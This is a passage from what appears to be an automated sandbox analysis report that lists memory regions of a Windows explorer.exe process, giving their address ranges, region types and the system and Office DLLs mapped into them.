"private_0x000000000a7d0000" filename = "" Region: id = 575 start_va = 0xa8e0000 end_va = 0xa8e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a8e0000" filename = "" Region: id = 576 start_va = 0xa8f0000 end_va = 0xa8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a8f0000" filename = "" Region: id = 577 start_va = 0xa910000 end_va = 0xa911fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a910000" filename = "" Region: id = 578 start_va = 0xa920000 end_va = 0xa921fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a920000" filename = "" Region: id = 579 start_va = 0xa930000 end_va = 0xa931fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a930000" filename = "" Region: id = 580 start_va = 0xa940000 end_va = 0xa941fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a940000" filename = "" Region: id = 581 start_va = 0xa950000 end_va = 0xaad7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ieframe.dll.mui" filename = "\\Windows\\System32\\en-US\\ieframe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\ieframe.dll.mui") Region: id = 582 start_va = 0xab50000 end_va = 0xabcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab50000" filename = "" Region: id = 583 start_va = 0xabd0000 end_va = 0xac4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000abd0000" filename = "" Region: id = 584 start_va = 0xac50000 end_va = 0xaccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ac50000" filename = "" Region: id = 585 start_va = 0xacd0000 end_va = 0xad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000acd0000" filename = "" Region: id = 586 start_va = 0xad50000 end_va = 0xadcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ad50000" filename = "" Region: id = 587 start_va = 0xadd0000 end_va = 0xae4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000add0000" filename = "" Region: id = 588 start_va = 0xae50000 end_va = 0xaecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ae50000" filename = "" Region: id = 589 start_va = 0xaed0000 end_va = 0xaf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000aed0000" filename = "" Region: id = 590 start_va = 0xaf50000 end_va = 0xafcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000af50000" filename = "" Region: id = 591 start_va = 0xafd0000 end_va = 0xb04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000afd0000" filename = "" Region: id = 592 start_va = 0xb150000 end_va = 0xb1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b150000" filename = "" Region: id = 593 start_va = 0xb1d0000 end_va = 0xb2cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 594 start_va = 0xb5d0000 end_va = 0xb64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b5d0000" filename = "" Region: id = 595 start_va = 0xb650000 end_va = 0xb6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b650000" filename = "" Region: id = 596 start_va = 0xb6d0000 end_va = 0xb74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b6d0000" filename = "" Region: id = 597 start_va = 0xb750000 end_va = 0xc14ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b750000" filename = "" Region: id = 598 start_va = 0xc150000 end_va = 0xc641fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c150000" filename = "" Region: id = 599 start_va = 0xc650000 end_va = 0xf26dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 600 start_va = 0xf3d0000 end_va = 0xf44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f3d0000" filename = "" Region: id = 601 start_va = 0xf550000 end_va = 0xf5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f550000" filename = "" Region: id = 602 start_va = 0xf5d0000 end_va = 0xf64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f5d0000" filename = "" Region: id = 603 start_va = 0xf6d0000 end_va = 0xf74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f6d0000" filename = "" Region: id = 604 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 605 start_va = 0x180000000 end_va = 0x18087dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\1033\\grooveintlresource.dll") Region: id = 606 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 607 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 608 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 609 start_va = 0x7ff7aabd0000 end_va = 0x7ff7ab017fff monitored = 0 entry_point = 0x7ff7aac6e090 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 610 start_va = 0x7ffd32590000 end_va = 0x7ffd326e3fff monitored = 0 entry_point = 0x7ffd32597d6c region_type = mapped_file name = "msoshext.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\msoshext.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoshext.dll") Region: id = 611 start_va = 0x7ffd32a60000 end_va = 0x7ffd32aaffff monitored = 0 entry_point = 0x7ffd32a91220 region_type = mapped_file name = "windows.system.launcher.dll" filename = "\\Windows\\System32\\Windows.System.Launcher.dll" (normalized: "c:\\windows\\system32\\windows.system.launcher.dll") Region: id = 612 start_va = 0x7ffd348f0000 end_va = 0x7ffd355bcfff monitored = 0 entry_point = 0x7ffd34a3e880 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 613 start_va = 0x7ffd355c0000 end_va = 0x7ffd355cffff monitored = 0 entry_point = 0x7ffd355c3d50 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\System32\\pcacli.dll" (normalized: "c:\\windows\\system32\\pcacli.dll") Region: id = 614 start_va = 0x7ffd369e0000 end_va = 0x7ffd36b20fff monitored = 0 entry_point = 0x7ffd369e5f70 region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 615 start_va = 0x7ffd36b30000 end_va = 0x7ffd36b7dfff monitored = 0 entry_point = 0x7ffd36b41ce0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 616 start_va = 0x7ffd37470000 end_va = 0x7ffd377b5fff monitored = 0 entry_point = 0x7ffd37478530 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 617 start_va = 0x7ffd377c0000 end_va = 0x7ffd37a02fff monitored = 0 entry_point = 0x7ffd377c36c0 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 618 start_va = 0x7ffd37a10000 end_va = 0x7ffd37a97fff monitored = 0 entry_point = 0x7ffd37a24510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 619 start_va = 0x7ffd37aa0000 end_va = 0x7ffd37aeffff monitored = 0 entry_point = 0x7ffd37aabe50 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 620 start_va = 0x7ffd37af0000 end_va = 0x7ffd37b06fff monitored = 0 entry_point = 0x7ffd37af2790 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 621 start_va = 0x7ffd37b10000 end_va = 0x7ffd37b51fff monitored = 0 entry_point = 0x7ffd37b12230 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 622 start_va = 0x7ffd37b60000 end_va = 0x7ffd37bd8fff monitored = 0 entry_point = 0x7ffd37b622d0 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 623 start_va = 0x7ffd37be0000 end_va = 0x7ffd37c5afff monitored = 0 entry_point = 0x7ffd37be3af0 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 624 start_va = 0x7ffd37c60000 end_va = 0x7ffd37db9fff monitored = 0 entry_point = 0x7ffd37c64610 region_type = mapped_file name = "windows.ui.shell.dll" filename = "\\Windows\\System32\\Windows.UI.Shell.dll" (normalized: "c:\\windows\\system32\\windows.ui.shell.dll") Region: id = 625 start_va = 0x7ffd37dc0000 end_va = 0x7ffd37fbdfff monitored = 0 entry_point = 0x7ffd37dc16c0 region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 626 start_va = 0x7ffd37fc0000 end_va = 0x7ffd38023fff monitored = 0 entry_point = 0x7ffd37fc6b20 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 627 start_va = 0x7ffd38080000 end_va = 0x7ffd38088fff monitored = 0 entry_point = 0x7ffd38081b60 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\System32\\IconCodecService.dll" (normalized: "c:\\windows\\system32\\iconcodecservice.dll") Region: id = 628 start_va = 0x7ffd385b0000 end_va = 0x7ffd386d0fff monitored = 0 entry_point = 0x7ffd385b1cc0 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 629 start_va = 0x7ffd386e0000 end_va = 0x7ffd3878bfff monitored = 0 entry_point = 0x7ffd386e59c0 region_type = mapped_file name = "ieproxy.dll" filename = "\\Windows\\System32\\ieproxy.dll" (normalized: "c:\\windows\\system32\\ieproxy.dll") Region: id = 630 start_va = 0x7ffd3b070000 end_va = 0x7ffd3b07ffff monitored = 0 entry_point = 0x7ffd3b0778e0 region_type = mapped_file name = "atlthunk.dll" filename = "\\Windows\\System32\\atlthunk.dll" (normalized: "c:\\windows\\system32\\atlthunk.dll") Region: id = 631 start_va = 0x7ffd3b100000 end_va = 0x7ffd3b13dfff monitored = 0 entry_point = 0x7ffd3b109650 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 632 start_va = 0x7ffd3cf40000 end_va = 0x7ffd3cfb6fff monitored = 0 entry_point = 0x7ffd3cf42af0 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 633 start_va = 0x7ffd3e040000 end_va = 0x7ffd3e05efff monitored = 0 entry_point = 0x7ffd3e0437e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 634 start_va = 0x7ffd3e060000 end_va = 0x7ffd3e0d8fff monitored = 0 entry_point = 0x7ffd3e0676a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 635 start_va = 0x7ffd3e2b0000 end_va = 0x7ffd3e2c4fff monitored = 0 entry_point = 0x7ffd3e2b5740 region_type = mapped_file name = "profext.dll" filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll") Region: id = 636 start_va = 0x7ffd3e2d0000 end_va = 0x7ffd3e31afff monitored = 0 entry_point = 0x7ffd3e2e1590 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll") Region: id = 637 start_va = 0x7ffd3e7e0000 end_va = 0x7ffd3e7fafff monitored = 0 entry_point = 0x7ffd3e7eaf40 region_type = mapped_file name = "capauthz.dll" filename = "\\Windows\\System32\\capauthz.dll" (normalized: "c:\\windows\\system32\\capauthz.dll") Region: id = 638 start_va = 0x7ffd3e990000 end_va = 0x7ffd3e9a3fff monitored = 0 entry_point = 0x7ffd3e993710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 639 start_va = 0x7ffd3ea40000 end_va = 0x7ffd3ea5dfff monitored = 0 entry_point = 0x7ffd3ea4ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 640 start_va = 0x7ffd3ed50000 end_va = 0x7ffd3ed5bfff monitored = 0 entry_point = 0x7ffd3ed535c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 641 start_va = 0x7ffd3ed60000 end_va = 0x7ffd3ef08fff monitored = 0 entry_point = 0x7ffd3edb4060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 642 start_va = 0x7ffd40310000 end_va = 0x7ffd4038ffff monitored = 0 entry_point = 0x7ffd4033d280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 643 start_va = 0x7ffd40390000 end_va = 0x7ffd403b1fff monitored = 0 entry_point = 0x7ffd40392580 region_type = mapped_file name = "wcmapi.dll" filename = "\\Windows\\System32\\wcmapi.dll" (normalized: "c:\\windows\\system32\\wcmapi.dll") Region: id = 644 start_va = 0x7ffd403c0000 end_va = 0x7ffd403fffff monitored = 0 entry_point = 0x7ffd403d6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 645 start_va = 0x7ffd404f0000 end_va = 0x7ffd40769fff monitored = 0 entry_point = 0x7ffd4050a7a0 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 646 start_va = 0x7ffd410e0000 end_va = 0x7ffd410f5fff monitored = 0 entry_point = 0x7ffd410e1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 647 start_va = 0x7ffd41100000 end_va = 0x7ffd412b7fff monitored = 0 entry_point = 0x7ffd4116e630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 648 start_va = 0x7ffd412c0000 end_va = 0x7ffd41307fff monitored = 0 entry_point = 0x7ffd412ca430 region_type = mapped_file name = "notificationobjfactory.dll" filename = "\\Windows\\System32\\NotificationObjFactory.dll" (normalized: "c:\\windows\\system32\\notificationobjfactory.dll") Region: id = 649 start_va = 0x7ffd41370000 end_va = 0x7ffd413cbfff monitored = 0 entry_point = 0x7ffd41387190 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\System32\\ninput.dll" (normalized: "c:\\windows\\system32\\ninput.dll") Region: id = 650 start_va = 0x7ffd413d0000 end_va = 0x7ffd41466fff monitored = 0 entry_point = 0x7ffd413dddc0 region_type = mapped_file name = "wlidprov.dll" filename = "\\Windows\\System32\\wlidprov.dll" (normalized: "c:\\windows\\system32\\wlidprov.dll") Region: id = 651 start_va = 0x7ffd41470000 end_va = 0x7ffd4147bfff monitored = 0 entry_point = 0x7ffd414714b0 region_type = mapped_file name = "notificationcontrollerps.dll" filename = "\\Windows\\System32\\NotificationControllerPS.dll" (normalized: "c:\\windows\\system32\\notificationcontrollerps.dll") Region: id = 652 start_va = 0x7ffd41480000 end_va = 0x7ffd414b6fff monitored = 0 entry_point = 0x7ffd414820a0 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 653 start_va = 0x7ffd414c0000 end_va = 0x7ffd417f9fff monitored = 0 entry_point = 0x7ffd414c8520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 654 start_va = 0x7ffd41800000 end_va = 0x7ffd4189dfff monitored = 0 entry_point = 0x7ffd41849d40 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\msvcp140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\msvcp140.dll") Region: id = 655 start_va = 0x7ffd418a0000 end_va = 0x7ffd418b6fff monitored = 0 entry_point = 0x7ffd418ac440 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\vcruntime140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\vcruntime140.dll") Region: id = 656 start_va = 0x7ffd418c0000 end_va = 0x7ffd41ad3fff monitored = 0 entry_point = 0x7ffd418c1000 region_type = mapped_file name = "grooveex.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\grooveex.dll") Region: id = 657 start_va = 0x7ffd41ae0000 end_va = 0x7ffd41d6dfff monitored = 0 entry_point = 0x7ffd41bb0f00 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 658 start_va = 0x7ffd41d70000 end_va = 0x7ffd41d79fff monitored = 0 entry_point = 0x7ffd41d71350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 659 start_va = 0x7ffd41d80000 end_va = 0x7ffd41e6efff monitored = 0 entry_point = 0x7ffd41da29cc region_type = mapped_file name = "msvcr120.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\msvcr120.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\msvcr120.dll") Region: id = 660 start_va = 0x7ffd41e70000 end_va = 0x7ffd41f15fff monitored = 0 entry_point = 0x7ffd41ebefec region_type = mapped_file name = "msvcp120.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\msvcp120.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\msvcp120.dll") Region: id = 661 start_va = 0x7ffd41f20000 end_va = 0x7ffd420aefff monitored = 0 entry_point = 0x7ffd41f301d8 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\filesyncshell64.dll") Region: id = 662 start_va = 0x7ffd420b0000 end_va = 0x7ffd420d5fff monitored = 0 entry_point = 0x7ffd420c5cb0 region_type = mapped_file name = "npsm.dll" filename = "\\Windows\\System32\\NPSM.dll" (normalized: "c:\\windows\\system32\\npsm.dll") Region: id = 663 start_va = 0x7ffd420e0000 end_va = 0x7ffd4210afff monitored = 0 entry_point = 0x7ffd420e4240 region_type = mapped_file name = "abovelockapphost.dll" filename = "\\Windows\\System32\\AboveLockAppHost.dll" (normalized: "c:\\windows\\system32\\abovelockapphost.dll") Region: id = 664 start_va = 0x7ffd42110000 end_va = 0x7ffd4211cfff monitored = 0 entry_point = 0x7ffd42111ea0 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 665 start_va = 0x7ffd42120000 end_va = 0x7ffd4216cfff monitored = 0 entry_point = 0x7ffd42137de0 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 666 start_va = 0x7ffd42170000 end_va = 0x7ffd421f5fff monitored = 0 entry_point = 0x7ffd42191e10 region_type = mapped_file name = "notificationcontroller.dll" filename = "\\Windows\\System32\\NotificationController.dll" (normalized: "c:\\windows\\system32\\notificationcontroller.dll") Region: id = 667 start_va = 0x7ffd42200000 end_va = 0x7ffd422d9fff monitored = 0 entry_point = 0x7ffd42233c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 668 start_va = 0x7ffd422e0000 end_va = 0x7ffd422f1fff monitored = 0 entry_point = 0x7ffd422e3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 669 start_va = 0x7ffd42300000 end_va = 0x7ffd4241ffff monitored = 0 entry_point = 0x7ffd42338310 region_type = mapped_file name = "applicationframe.dll" filename = "\\Windows\\System32\\ApplicationFrame.dll" (normalized: "c:\\windows\\system32\\applicationframe.dll") Region: id = 670 start_va = 0x7ffd42420000 end_va = 0x7ffd42445fff monitored = 0 entry_point = 0x7ffd42421cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 671 start_va = 0x7ffd42450000 end_va = 0x7ffd4252afff monitored = 0 entry_point = 0x7ffd424628b0 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 672 start_va = 0x7ffd42530000 end_va = 0x7ffd425c3fff monitored = 0 entry_point = 0x7ffd42569210 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 673 start_va = 0x7ffd425d0000 end_va = 0x7ffd42872fff monitored = 0 entry_point = 0x7ffd425f6190 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 674 start_va = 0x7ffd42880000 end_va = 0x7ffd4288bfff monitored = 0 entry_point = 0x7ffd428818b0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 675 start_va = 0x7ffd42890000 end_va = 0x7ffd428dcfff monitored = 0 entry_point = 0x7ffd4289d180 region_type = mapped_file name = "windows.immersiveshell.serviceprovider.dll" filename = "\\Windows\\System32\\windows.immersiveshell.serviceprovider.dll" (normalized: "c:\\windows\\system32\\windows.immersiveshell.serviceprovider.dll") Region: id = 676 start_va = 0x7ffd428e0000 end_va = 0x7ffd433eafff monitored = 0 entry_point = 0x7ffd42a2a540 region_type = mapped_file name = "twinui.dll" filename = "\\Windows\\System32\\twinui.dll" (normalized: "c:\\windows\\system32\\twinui.dll") Region: id = 677 start_va = 0x7ffd433f0000 end_va = 0x7ffd4343ffff monitored = 0 entry_point = 0x7ffd433f2580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 678 start_va = 0x7ffd43440000 end_va = 0x7ffd438dffff monitored = 0 entry_point = 0x7ffd434d8740 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 679 start_va = 0x7ffd43a50000 end_va = 0x7ffd43a99fff monitored = 0 entry_point = 0x7ffd43a55800 region_type = mapped_file name = "dataexchange.dll" filename = "\\Windows\\System32\\DataExchange.dll" (normalized: "c:\\windows\\system32\\dataexchange.dll") Region: id = 680 start_va = 0x7ffd43ac0000 end_va = 0x7ffd43b29fff monitored = 0 entry_point = 0x7ffd43ad5e90 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 681 start_va = 0x7ffd43b30000 end_va = 0x7ffd43b94fff monitored = 0 entry_point = 0x7ffd43b34c50 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 682 start_va = 0x7ffd43ba0000 end_va = 0x7ffd43e13fff monitored = 0 entry_point = 0x7ffd43c10400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 683 start_va = 0x7ffd43e20000 end_va = 0x7ffd43eedfff monitored = 0 entry_point = 0x7ffd43e514c0 region_type = mapped_file name = "tokenbroker.dll" filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll") Region: id = 684 start_va = 0x7ffd43ef0000 end_va = 0x7ffd43fe8fff monitored = 0 entry_point = 0x7ffd43f38000 region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 685 start_va = 0x7ffd43ff0000 end_va = 0x7ffd44004fff monitored = 0 entry_point = 0x7ffd43ff2c90 region_type = mapped_file name = "settingsyncpolicy.dll" filename = "\\Windows\\System32\\SettingSyncPolicy.dll" (normalized: "c:\\windows\\system32\\settingsyncpolicy.dll") Region: id = 686 start_va = 0x7ffd44010000 end_va = 0x7ffd440c0fff monitored = 0 entry_point = 0x7ffd440208f0 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 687 start_va = 0x7ffd440e0000 end_va = 0x7ffd440f4fff monitored = 0 entry_point = 0x7ffd440e1ab0 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 688 start_va = 0x7ffd44130000 end_va = 0x7ffd4438cfff monitored = 0 entry_point = 0x7ffd441b8610 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") Region: id = 689 start_va = 0x7ffd44390000 end_va = 0x7ffd44398fff monitored = 0 entry_point = 0x7ffd44391480 region_type = mapped_file name = "wpportinglibrary.dll" filename = "\\Windows\\System32\\WpPortingLibrary.dll" (normalized: "c:\\windows\\system32\\wpportinglibrary.dll") Region: id = 690 start_va = 0x7ffd44670000 end_va = 0x7ffd446bafff monitored = 0 entry_point = 0x7ffd44687b70 region_type = mapped_file name = "veeventdispatcher.dll" 